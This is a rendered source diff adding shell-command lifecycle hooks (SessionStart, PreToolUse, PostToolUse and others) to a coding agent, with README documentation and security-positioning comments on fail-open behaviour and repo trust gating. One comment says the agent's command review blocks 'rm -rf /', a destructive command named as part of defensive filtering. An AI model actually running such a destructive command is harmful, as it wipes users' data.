Register shell commands in config.toml via `[[hooks]]` array tables, fired at fixed points of the agent lifecycle. The config/IO contract follows the Claude Code / ZCode / Codex interop core — existing hook scripts port over as-is:
|
|
244
|
+
|
|
245
|
+
```toml
|
|
246
|
+
# Protect sensitive files: block writes to .env
|
|
247
|
+
[[hooks]]
|
|
248
|
+
event = "PreToolUse" # SessionStart | UserPromptSubmit | PreToolUse | PostToolUse | Stop
|
|
249
|
+
matcher = "write_file|edit_file" # regex on tool name (tool events only); empty = all
|
|
250
|
+
command = "python .hooks/protect.py" # receives the event JSON on stdin; exit 2 = block
|
|
251
|
+
timeout = 30 # seconds, default 60
|
|
252
|
+
|
|
253
|
+
# Auto-format after every file write
|
|
254
|
+
[[hooks]]
|
|
255
|
+
event = "PostToolUse"
|
|
256
|
+
matcher = "write_file|edit_file"
|
|
257
|
+
command = "jq -r .tool_input.file_path | xargs prettier --write"
|
|
258
|
+
|
|
259
|
+
# Inject project conventions at session start
|
|
260
|
+
[[hooks]]
|
|
261
|
+
event = "SessionStart"
|
|
262
|
+
command = "cat .hooks/conventions.txt"
|
|
263
|
+
```
|
|
264
|
+
|
|
265
|
+
**IO contract**:
|
|
266
|
+
- **stdin**: one JSON object — common fields `session_id`/`cwd`/`permission_mode`/`hook_event_name` + event-specific ones (PreToolUse carries `tool_name`+`tool_input`; UserPromptSubmit carries `prompt`; PostToolUse carries `tool_response`)
|
|
267
|
+
- **exit codes**: `0` = pass (UserPromptSubmit/SessionStart stdout injects context, 10k-char cap); `2` = **BLOCK** (stderr becomes the reason fed to the model); anything else = **fail-open** pass + warning
|
|
268
|
+
- **environment**: `$CODERIO_PROJECT_DIR` always set; Git Bash preferred on Windows
|
|
269
|
+
|
|
270
|
+
**Honest positioning**: hooks are an EXTENSIBILITY point, not a security boundary — timeout/crash/non-2 exits all fail-open (a broken hook must never brick the agent loop). Hard policy belongs to the permission gate + command blacklist. Repo-level hooks live in config.toml and ride the existing repo-config trust gate (cloning a hostile repo does not silently run its hooks).
|
|
271
|
+
|
|
272
|
+
**v1 event set and non-goals**: SessionStart (once per session, resume included) / UserPromptSubmit (reject or inject) / PreToolUse (deny) / PostToolUse (append feedback) / Stop (notification-only — never fights the harness force-continue). Not in v1: SessionEnd (no injection point), Notification/SubagentStop/PreCompact, `updatedInput` rewriting, hook-allow skipping the permission prompt, parallel execution (v1 is serial; with multiple hooks the first blocker's reason wins but all hooks run).
|
|
273
|
+
|
|
241
274
|
Supported providers:
|
|
242
275
|
| provider_id | Description | Protocol |
|
|
243
276
|
|---|---|---|
|
|
@@ -5,7 +5,7 @@ build-backend = "hatchling.build"
|
|
|
5
5
|
|
|
6
6
|
[project]
|
|
7
7
|
name = "coderio"
|
|
8
|
-
version = "0.4.
|
|
8
|
+
version = "0.4.1"
|
|
9
9
|
description = "A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine."
|
|
10
10
|
readme = "README_en.md"
|
|
11
11
|
license = "MIT"
|
|
@@ -166,6 +166,10 @@ select = ["E", "F", "W", "I", "S"]
|
|
|
166
166
|
# S603 — the LocalShellBackend override runs model-generated bash commands;
|
|
167
167
|
# executing them IS the tool's purpose (same rationale as tools/bash.py).
|
|
168
168
|
"src/coderio/agent/deep_loop.py" = ["S602", "S603"]
|
|
169
|
+
# Hooks: S603 — hook commands come from the user's TOML config (trusted
|
|
170
|
+
# project settings, like skills_cmd.py's git clone), not arbitrary model
|
|
171
|
+
# input. Executing them IS the hooks feature's purpose.
|
|
172
|
+
"src/coderio/agent/hooks.py" = ["S603"]
|
|
169
173
|
# Sandbox modules: S602/S603 — running arbitrary subprocess commands IS the
|
|
170
174
|
# sandbox's entire purpose. The sandbox itself (bubblewrap namespace isolation
|
|
171
175
|
# on Linux, Restricted Token + Job Object on Windows) is the security boundary,
|
|
@@ -438,6 +438,7 @@ def run_deep_agent(
|
|
|
438
438
|
network_allowed: bool = True,
|
|
439
439
|
fs_config=None,
|
|
440
440
|
bash_shell: str = "",
|
|
441
|
+
hooks: list | None = None,
|
|
441
442
|
) -> str:
|
|
442
443
|
"""Run a deepagents-backed agent turn (coderio's production engine).
|
|
443
444
|
|
|
@@ -476,10 +477,52 @@ def run_deep_agent(
|
|
|
476
477
|
|
|
477
478
|
neutralize_base_prompt()
|
|
478
479
|
|
|
480
|
+
# --- User hooks (agent/hooks.py): turn-level events fire here, tool-level
|
|
481
|
+
# events ride HooksMiddleware below. All fail-open except explicit exit 2.
|
|
482
|
+
from coderio.agent.hooks import HookRunner
|
|
483
|
+
|
|
484
|
+
project_dir = str(Path(workdir).resolve() if workdir else Path.cwd())
|
|
485
|
+
hook_runner = HookRunner(
|
|
486
|
+
hooks or [],
|
|
487
|
+
project_dir=project_dir,
|
|
488
|
+
session_id=session.id,
|
|
489
|
+
permission_mode=getattr(gate, "mode", "") if gate is not None else "",
|
|
490
|
+
)
|
|
491
|
+
|
|
492
|
+
# SessionStart (once per session id, lazy — covers resume): stdout injects
|
|
493
|
+
# context into THIS turn's user message.
|
|
494
|
+
if hook_runner.has_event("SessionStart") and session.id not in HookRunner._sessions_started:
|
|
495
|
+
HookRunner._sessions_started.add(session.id)
|
|
496
|
+
ss = hook_runner.fire("SessionStart", {"source": "startup", "model": getattr(model, "model_name", "")})
|
|
497
|
+
if ss.context:
|
|
498
|
+
user_input = f"{user_input}\n\n[hook context]\n{ss.context}"
|
|
499
|
+
|
|
500
|
+
# UserPromptSubmit: BEFORE session.append so a block leaves the session
|
|
501
|
+
# clean, and injected context lands in both the persisted message and the
|
|
502
|
+
# model input.
|
|
503
|
+
if hook_runner.has_event("UserPromptSubmit"):
|
|
504
|
+
prompt_text = user_input if isinstance(user_input, str) else str(user_input)
|
|
505
|
+
ups = hook_runner.fire("UserPromptSubmit", {"prompt": prompt_text})
|
|
506
|
+
if ups.blocked:
|
|
507
|
+
session.append(Message.user(prompt_text))
|
|
508
|
+
session.append(Message.assistant(f"Prompt rejected by hook: {ups.reason}"))
|
|
509
|
+
if hasattr(stream, "on_finish"):
|
|
510
|
+
stream.on_finish()
|
|
511
|
+
return f"Prompt rejected by hook: {ups.reason}"
|
|
512
|
+
if ups.context:
|
|
513
|
+
user_input = f"{prompt_text}\n\n[hook context]\n{ups.context}"
|
|
514
|
+
|
|
479
515
|
session.append(Message.user(user_input))
|
|
480
516
|
|
|
481
517
|
sp = _resolve_system_prompt(system_prompt, skill_store, active_skills)
|
|
482
|
-
|
|
518
|
+
# HooksMiddleware OUTERMOST: PreToolUse can deny before the permission
|
|
519
|
+
# prompt appears, and observes the exact args the rest of the chain sees.
|
|
520
|
+
middleware: list[Any] = []
|
|
521
|
+
if hook_runner.specs:
|
|
522
|
+
from coderio.agent.hooks import HooksMiddleware
|
|
523
|
+
|
|
524
|
+
middleware.append(HooksMiddleware(hook_runner))
|
|
525
|
+
middleware.append(HarnessMiddleware(stream=stream, enabled=harness_enabled))
|
|
483
526
|
if gate is not None:
|
|
484
527
|
middleware.append(PermissionMiddleware(gate))
|
|
485
528
|
# Command-content review: always active (even in FULL mode). Blocks rm -rf /,
|
|
@@ -550,6 +593,15 @@ def run_deep_agent(
|
|
|
550
593
|
except Exception: # noqa: S110
|
|
551
594
|
pass
|
|
552
595
|
|
|
596
|
+
# Stop event (notification-only v1): the harness owns force-continue, so a
|
|
597
|
+
# user Stop hook observes the turn end but cannot extend it. stdout is
|
|
598
|
+
# ignored; exit 2 is logged — blocking here would fight the harness gates.
|
|
599
|
+
if hook_runner.has_event("Stop"):
|
|
600
|
+
try:
|
|
601
|
+
hook_runner.fire("Stop", {"last_assistant_message": final_text[:2000]})
|
|
602
|
+
except Exception as e: # noqa: BLE001 — never let a hook break turn completion
|
|
603
|
+
_log.warning("Stop hook failed (ignored): %s", e)
|
|
604
|
+
|
|
553
605
|
if hasattr(stream, "on_finish"):
|
|
554
606
|
stream.on_finish()
|
|
555
607
|
if hasattr(stream, "on_turn_end"):
|
|
@@ -0,0 +1,312 @@
|
|
|
1
|
+
"""User-configurable hooks as a deepagents AgentMiddleware + turn-level events.
|
|
2
|
+
|
|
3
|
+
Lets users run their own shell commands at well-defined points of the agent
|
|
4
|
+
lifecycle — "reformat every file after Edit", "block writes to .env", "inject
|
|
5
|
+
project conventions at session start". The config/IO contract follows the
|
|
6
|
+
Claude Code / ZCode / Codex interop core so existing hook scripts port over:
|
|
7
|
+
|
|
8
|
+
- Events (v1): SessionStart, UserPromptSubmit, PreToolUse, PostToolUse, Stop
|
|
9
|
+
- stdin: one JSON object with session/cwd/event fields (+ event-specific ones)
|
|
10
|
+
- exit codes: 0 = pass (stdout may inject context for prompt/session events),
|
|
11
|
+
2 = BLOCKING (stderr becomes the reason fed to the model), other = fail-open
|
|
12
|
+
- matcher: regex matched against the tool name (tool events only)
|
|
13
|
+
|
|
14
|
+
SECURITY POSITIONING (documented in README too): hooks are an EXTENSIBILITY
|
|
15
|
+
point, not a security boundary. Timeout/crash/non-2 failures are FAIL-OPEN —
|
|
16
|
+
a dead hook must never brick the agent loop. Hard policy belongs to the
|
|
17
|
+
permission gate + command blacklist; hooks are for workflow glue. Repo-level
|
|
18
|
+
hooks live in config.toml, which the repo-config trust gate (config/trust.py)
|
|
19
|
+
already covers — cloning a hostile repo does not silently run its hooks.
|
|
20
|
+
|
|
21
|
+
Architecture: PreToolUse/PostToolUse ride a middleware inserted OUTERMOST
|
|
22
|
+
(before Harness/Permission/CommandReview) so a hook can deny a call before
|
|
23
|
+
the permission prompt appears, and observes exactly the args the rest of the
|
|
24
|
+
chain will see. SessionStart/UserPromptSubmit/Stop are turn-level and are
|
|
25
|
+
fired directly from run_deep_agent.
|
|
26
|
+
"""
|
|
27
|
+
|
|
28
|
+
from __future__ import annotations
|
|
29
|
+
|
|
30
|
+
import json
|
|
31
|
+
import logging
|
|
32
|
+
import re
|
|
33
|
+
import subprocess
|
|
34
|
+
import sys
|
|
35
|
+
from dataclasses import dataclass
|
|
36
|
+
from typing import Any
|
|
37
|
+
|
|
38
|
+
from langchain.agents.middleware.types import AgentMiddleware
|
|
39
|
+
from langchain_core.messages import ToolMessage
|
|
40
|
+
|
|
41
|
+
_log = logging.getLogger(__name__)
|
|
42
|
+
|
|
43
|
+
# v1 event set: the intersection of Claude Code / ZCode / Codex events, plus
|
|
44
|
+
# Stop. SessionEnd has no injection point (TUI exits without a hook call —
|
|
45
|
+
# v2 candidate). Notification/SubagentStop/PreCompact deliberately deferred.
|
|
46
|
+
HOOK_EVENTS = frozenset({"SessionStart", "UserPromptSubmit", "PreToolUse", "PostToolUse", "Stop"})
|
|
47
|
+
|
|
48
|
+
# Tool events are the only ones where a matcher against the tool name makes sense.
|
|
49
|
+
_TOOL_EVENTS = frozenset({"PreToolUse", "PostToolUse"})
|
|
50
|
+
|
|
51
|
+
DEFAULT_TIMEOUT = 60 # seconds; generous for linters, short enough not to brick a turn
|
|
52
|
+
|
|
53
|
+
# stdout beyond this is dropped rather than injected (context budget guard).
|
|
54
|
+
_MAX_CONTEXT_CHARS = 10_000
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
@dataclass
|
|
58
|
+
class HookOutcome:
|
|
59
|
+
"""Aggregated result of firing one event (all matching hooks, serially).
|
|
60
|
+
|
|
61
|
+
blocked=True means at least one hook exited 2 — for PreToolUse the caller
|
|
62
|
+
denies the tool call; for UserPromptSubmit the prompt is rejected. context
|
|
63
|
+
carries pass-through stdout (SessionStart/UserPromptSubmit injection).
|
|
64
|
+
error carries fail-open diagnostics (non-blocking, logged + surfaced).
|
|
65
|
+
"""
|
|
66
|
+
|
|
67
|
+
blocked: bool = False
|
|
68
|
+
reason: str = ""
|
|
69
|
+
context: str = ""
|
|
70
|
+
error: str = ""
|
|
71
|
+
|
|
72
|
+
|
|
73
|
+
@dataclass
|
|
74
|
+
class HookSpec:
|
|
75
|
+
"""One [[hooks]] entry from config.toml."""
|
|
76
|
+
|
|
77
|
+
event: str
|
|
78
|
+
command: str
|
|
79
|
+
matcher: str = "" # regex against tool_name; "" matches all. Tool events only.
|
|
80
|
+
timeout: int = DEFAULT_TIMEOUT
|
|
81
|
+
|
|
82
|
+
def compiled_matcher(self) -> re.Pattern | None:
|
|
83
|
+
"""None = match everything; invalid regex = never match (not crash)."""
|
|
84
|
+
if not self.matcher:
|
|
85
|
+
return None
|
|
86
|
+
try:
|
|
87
|
+
return re.compile(self.matcher)
|
|
88
|
+
except re.error:
|
|
89
|
+
_log.warning("hook matcher %r is not a valid regex — hook never fires", self.matcher)
|
|
90
|
+
return re.compile(r"(?!x)x") # unmatchable
|
|
91
|
+
|
|
92
|
+
def matches(self, tool_name: str) -> bool:
|
|
93
|
+
rx = self.compiled_matcher()
|
|
94
|
+
return rx is None or rx.search(tool_name) is not None
|
|
95
|
+
|
|
96
|
+
|
|
97
|
+
class HookRunner:
|
|
98
|
+
"""Loads [[hooks]] specs and fires events by running shell commands.
|
|
99
|
+
|
|
100
|
+
One instance per run_deep_agent call (cheap); turn-level events share it
|
|
101
|
+
with the middleware. SessionStart dedup lives at CLASS level: a fresh
|
|
102
|
+
runner is built every turn, so instance state can't remember which
|
|
103
|
+
sessions already fired (resume included by design — the lazy fire happens
|
|
104
|
+
on the first turn of any loaded session).
|
|
105
|
+
"""
|
|
106
|
+
|
|
107
|
+
# session ids that have already fired SessionStart (process-lifetime).
|
|
108
|
+
_sessions_started: set[str] = set()
|
|
109
|
+
|
|
110
|
+
def __init__(
|
|
111
|
+
self, specs: list[HookSpec] | None, project_dir: str, session_id: str = "", permission_mode: str = ""
|
|
112
|
+
) -> None:
|
|
113
|
+
self.specs = [s for s in (specs or []) if s.event in HOOK_EVENTS]
|
|
114
|
+
self.project_dir = project_dir
|
|
115
|
+
self.session_id = session_id
|
|
116
|
+
self.permission_mode = permission_mode
|
|
117
|
+
|
|
118
|
+
def has_event(self, event: str) -> bool:
|
|
119
|
+
return any(s.event == event for s in self.specs)
|
|
120
|
+
|
|
121
|
+
def fire(self, event: str, payload: dict[str, Any]) -> HookOutcome:
|
|
122
|
+
"""Run every matching hook for the event, serially, merging outcomes.
|
|
123
|
+
|
|
124
|
+
Serial by design (v1): Claude Code's parallel execution makes
|
|
125
|
+
multi-hook semantics non-deterministic; determinism wins for a coding
|
|
126
|
+
agent. First blocker wins; later hooks still run (their side effects
|
|
127
|
+
are the point — e.g. logging — even when the event is already denied).
|
|
128
|
+
"""
|
|
129
|
+
tool_name = str(payload.get("tool_name", ""))
|
|
130
|
+
outcome = HookOutcome()
|
|
131
|
+
try:
|
|
132
|
+
for spec in self.specs:
|
|
133
|
+
if spec.event != event:
|
|
134
|
+
continue
|
|
135
|
+
if event in _TOOL_EVENTS and not spec.matches(tool_name):
|
|
136
|
+
continue
|
|
137
|
+
self._run_one(spec, event, payload, outcome)
|
|
138
|
+
except Exception as e: # noqa: BLE001 — a hook-layer bug must never break the turn
|
|
139
|
+
outcome.error += f"hook engine error (fail-open): {e}; "
|
|
140
|
+
# CONSUME the error (2026-08-14 v3 audit P1): a broken hook (missing
|
|
141
|
+
# script → exit 127, bad interpreter, etc.) must be visible to the
|
|
142
|
+
# user, not silently swallowed — the outcome.error field previously
|
|
143
|
+
# had zero consumers anywhere in the codebase.
|
|
144
|
+
if outcome.error:
|
|
145
|
+
_log.warning("hooks[%s]: %s", event, outcome.error.strip())
|
|
146
|
+
return outcome
|
|
147
|
+
|
|
148
|
+
# ------------------------------------------------------------------ execution
|
|
149
|
+
|
|
150
|
+
def _run_one(self, spec: HookSpec, event: str, payload: dict[str, Any], outcome: HookOutcome) -> None:
|
|
151
|
+
stdin_json = json.dumps(
|
|
152
|
+
{
|
|
153
|
+
"session_id": self.session_id,
|
|
154
|
+
"cwd": self.project_dir,
|
|
155
|
+
"permission_mode": self.permission_mode,
|
|
156
|
+
"hook_event_name": event,
|
|
157
|
+
**payload,
|
|
158
|
+
},
|
|
159
|
+
default=str,
|
|
160
|
+
)
|
|
161
|
+
try:
|
|
162
|
+
exit_code, stdout, stderr, timed_out = self._spawn(spec, stdin_json)
|
|
163
|
+
except Exception as e: # noqa: BLE001 — a broken hook must never crash the agent
|
|
164
|
+
outcome.error += f"hook {spec.command!r} failed to run: {e} (fail-open); "
|
|
165
|
+
return
|
|
166
|
+
|
|
167
|
+
if timed_out:
|
|
168
|
+
outcome.error += f"hook {spec.command!r} timed out after {spec.timeout}s (fail-open); "
|
|
169
|
+
return
|
|
170
|
+
|
|
171
|
+
# New names, not reusing stdout/stderr: mypy pins a variable's type to
|
|
172
|
+
# its first binding (bytes from _spawn), so rebinding to str is an error.
|
|
173
|
+
out_text = stdout.decode("utf-8", errors="replace")
|
|
174
|
+
err_text = stderr.decode("utf-8", errors="replace")
|
|
175
|
+
|
|
176
|
+
if exit_code == 2:
|
|
177
|
+
# Blocking error: stderr (or stdout) is the reason for the model.
|
|
178
|
+
# First blocker wins (subsequent blockers still RUN — their side
|
|
179
|
+
# effects matter — but don't clobber the first reason).
|
|
180
|
+
outcome.blocked = True
|
|
181
|
+
if not outcome.reason:
|
|
182
|
+
reason = (err_text.strip() or out_text.strip())[:_MAX_CONTEXT_CHARS]
|
|
183
|
+
outcome.reason = reason or "blocked by hook (no reason given)"
|
|
184
|
+
return
|
|
185
|
+
if exit_code != 0:
|
|
186
|
+
# Fail-open: log + surface, never block. This is the documented
|
|
187
|
+
# trade-off — hooks are glue, not a security boundary.
|
|
188
|
+
detail = (err_text.strip() or out_text.strip())[:200]
|
|
189
|
+
outcome.error += f"hook {spec.command!r} exited {exit_code} (fail-open){': ' + detail if detail else ''}; "
|
|
190
|
+
return
|
|
191
|
+
# exit 0: stdout may inject context for prompt/session events.
|
|
192
|
+
if event in ("UserPromptSubmit", "SessionStart") and out_text.strip():
|
|
193
|
+
text = out_text.strip()
|
|
194
|
+
if len(text) > _MAX_CONTEXT_CHARS:
|
|
195
|
+
_log.warning("hook stdout exceeded %d chars — context dropped", _MAX_CONTEXT_CHARS)
|
|
196
|
+
else:
|
|
197
|
+
outcome.context += ("\n" if outcome.context else "") + text
|
|
198
|
+
|
|
199
|
+
def _spawn(self, spec: HookSpec, stdin_json: str) -> tuple[int, bytes, bytes, bool]:
|
|
200
|
+
"""Run the hook command with JSON on stdin. Returns (exit_code, stdout, stderr, timed_out).
|
|
201
|
+
|
|
202
|
+
On Windows prefers Git Bash (via detect_shell, same as the bash tool)
|
|
203
|
+
so POSIX-style commands behave; POSIX uses /bin/sh. Timeout kills the
|
|
204
|
+
whole process tree (kill_process_tree) so piped children don't linger.
|
|
205
|
+
"""
|
|
206
|
+
import os
|
|
207
|
+
|
|
208
|
+
from coderio.tools.win_job import kill_process_tree
|
|
209
|
+
|
|
210
|
+
argv: list[str]
|
|
211
|
+
if sys.platform == "win32":
|
|
212
|
+
try:
|
|
213
|
+
from coderio.tools.bash import detect_shell
|
|
214
|
+
|
|
215
|
+
argv = [detect_shell(""), "-c", spec.command]
|
|
216
|
+
except FileNotFoundError:
|
|
217
|
+
argv = ["cmd", "/c", spec.command]
|
|
218
|
+
else:
|
|
219
|
+
argv = ["/bin/sh", "-c", spec.command]
|
|
220
|
+
|
|
221
|
+
env = dict(os.environ)
|
|
222
|
+
env["CODERIO_PROJECT_DIR"] = self.project_dir
|
|
223
|
+
|
|
224
|
+
# POSIX: the hook MUST get its own process group (start_new_session) —
|
|
225
|
+
# kill_process_tree's POSIX branch kills via os.killpg, and without a
|
|
226
|
+
# separate session the child shares OUR group, so a hook timeout would
|
|
227
|
+
# SIGKILL the agent itself (caught by the Linux/macOS CI matrix after
|
|
228
|
+
# the Windows-only local run passed; bash.py:242 has the same guard).
|
|
229
|
+
proc = subprocess.Popen(
|
|
230
|
+
argv,
|
|
231
|
+
stdin=subprocess.PIPE,
|
|
232
|
+
stdout=subprocess.PIPE,
|
|
233
|
+
stderr=subprocess.PIPE,
|
|
234
|
+
cwd=self.project_dir,
|
|
235
|
+
env=env,
|
|
236
|
+
start_new_session=(sys.platform != "win32"),
|
|
237
|
+
)
|
|
238
|
+
try:
|
|
239
|
+
stdout, stderr = proc.communicate(input=stdin_json.encode("utf-8"), timeout=spec.timeout)
|
|
240
|
+
return proc.returncode, stdout or b"", stderr or b"", False
|
|
241
|
+
except subprocess.TimeoutExpired:
|
|
242
|
+
kill_process_tree(proc)
|
|
243
|
+
try:
|
|
244
|
+
proc.communicate(timeout=10)
|
|
245
|
+
except Exception: # noqa: S110 — the kill already ran; drain best-effort
|
|
246
|
+
pass
|
|
247
|
+
return 124, b"", b"", True
|
|
248
|
+
|
|
249
|
+
|
|
250
|
+
class HooksMiddleware(AgentMiddleware):
|
|
251
|
+
"""PreToolUse / PostToolUse as the OUTERMOST middleware.
|
|
252
|
+
|
|
253
|
+
Inserted before Harness/Permission/CommandReview (see run_deep_agent): a
|
|
254
|
+
hook deny happens before the permission prompt can bother the user, and
|
|
255
|
+
hooks observe exactly the args the rest of the chain will see. A deny
|
|
256
|
+
returns a synthetic ToolMessage (same short-circuit shape as
|
|
257
|
+
PermissionMiddleware) so the model learns why and can react.
|
|
258
|
+
"""
|
|
259
|
+
|
|
260
|
+
def __init__(self, runner: HookRunner) -> None:
|
|
261
|
+
self.runner = runner
|
|
262
|
+
|
|
263
|
+
def wrap_tool_call(self, request, handler):
|
|
264
|
+
tc = getattr(request, "tool_call", None) or {}
|
|
265
|
+
name = tc.get("name", "")
|
|
266
|
+
args = dict(tc.get("args", {}) or {})
|
|
267
|
+
tool_call_id = tc.get("id", "")
|
|
268
|
+
|
|
269
|
+
pre = self.runner.fire("PreToolUse", {"tool_name": name, "tool_input": args, "tool_use_id": tool_call_id})
|
|
270
|
+
if pre.blocked:
|
|
271
|
+
return ToolMessage(
|
|
272
|
+
content=f"Blocked by hook: {pre.reason}",
|
|
273
|
+
tool_call_id=tool_call_id,
|
|
274
|
+
name=name,
|
|
275
|
+
)
|
|
276
|
+
|
|
277
|
+
result = handler(request)
|
|
278
|
+
|
|
279
|
+
post = self.runner.fire(
|
|
280
|
+
"PostToolUse",
|
|
281
|
+
{
|
|
282
|
+
"tool_name": name,
|
|
283
|
+
"tool_input": args,
|
|
284
|
+
"tool_use_id": tool_call_id,
|
|
285
|
+
"tool_response": _result_to_text(result),
|
|
286
|
+
},
|
|
287
|
+
)
|
|
288
|
+
# PostToolUse can't undo the executed tool; exit 2 appends feedback so
|
|
289
|
+
# the model sees it alongside the real result (Claude Code semantics).
|
|
290
|
+
if post.blocked:
|
|
291
|
+
note = f"\n[hook] {post.reason}"
|
|
292
|
+
content = getattr(result, "content", None)
|
|
293
|
+
if isinstance(content, str):
|
|
294
|
+
result.content = content + note
|
|
295
|
+
elif isinstance(result, str):
|
|
296
|
+
result = result + note
|
|
297
|
+
else:
|
|
298
|
+
out = getattr(result, "output", None)
|
|
299
|
+
if isinstance(out, str):
|
|
300
|
+
result.output = out + note
|
|
301
|
+
return result
|
|
302
|
+
|
|
303
|
+
|
|
304
|
+
def _result_to_text(result: Any) -> str:
|
|
305
|
+
"""Best-effort text extraction from ToolMessage / ExecuteResponse / str."""
|
|
306
|
+
for attr in ("content", "output"):
|
|
307
|
+
v = getattr(result, attr, None)
|
|
308
|
+
if isinstance(v, str):
|
|
309
|
+
return v
|
|
310
|
+
if isinstance(result, str):
|
|
311
|
+
return result
|
|
312
|
+
return str(result)
|
|
@@ -78,7 +78,6 @@ def run_headless(
|
|
|
78
78
|
import typer
|
|
79
79
|
|
|
80
80
|
from coderio.config.bootstrap import ensure_user_dirs
|
|
81
|
-
from coderio.config.loader import _find_project_dir
|
|
82
81
|
from coderio.config.trust import existing_repo_configs, is_repo_trusted
|
|
83
82
|
|
|
84
83
|
ensure_user_dirs()
|
|
@@ -101,11 +100,13 @@ def run_headless(
|
|
|
101
100
|
# untrusted repo config is a hard error (prompting would hang headless
|
|
102
101
|
# runs). The user confirms once via interactive `coderio`, then this
|
|
103
102
|
# passes forever (until the repo config content changes).
|
|
103
|
+
# search_from-based discovery (v3 audit P0): walks up per-file like the
|
|
104
|
+
# loaders, so a repo whose root only has .mcp.json can't slip past by
|
|
105
|
+
# launching from a subdirectory.
|
|
104
106
|
user_dir = Path.home() / ".coderio"
|
|
105
|
-
|
|
106
|
-
if existing_repo_configs(project_dir) and not is_repo_trusted(project_dir, user_dir):
|
|
107
|
+
if existing_repo_configs(".") and not is_repo_trusted(".", user_dir):
|
|
107
108
|
typer.secho(
|
|
108
|
-
|
|
109
|
+
"This repository has untrusted coderio config.\n"
|
|
109
110
|
"Run interactive `coderio` once in this directory and confirm the "
|
|
110
111
|
"config, then retry `coderio run`.",
|
|
111
112
|
err=True,
|
|
@@ -166,6 +167,13 @@ def run_headless(
|
|
|
166
167
|
network_allowed=cfg.tools.network_allowed,
|
|
167
168
|
fs_config=cfg.tools.sandbox_fs,
|
|
168
169
|
bash_shell=cfg.tools.bash_shell,
|
|
170
|
+
hooks=cfg.hooks,
|
|
169
171
|
)
|
|
172
|
+
# Always print the final result (v3 audit P2): in non-quiet mode the token
|
|
173
|
+
# stream already showed it, but a non-streamed final message would be lost
|
|
174
|
+
# without this — and scripts parsing stdout need exactly one final line.
|
|
175
|
+
# --quiet relies on this print alone; non-quiet gets it after a separator.
|
|
170
176
|
if quiet:
|
|
171
177
|
print(final)
|
|
178
|
+
else:
|
|
179
|
+
print(f"\n{final}")
|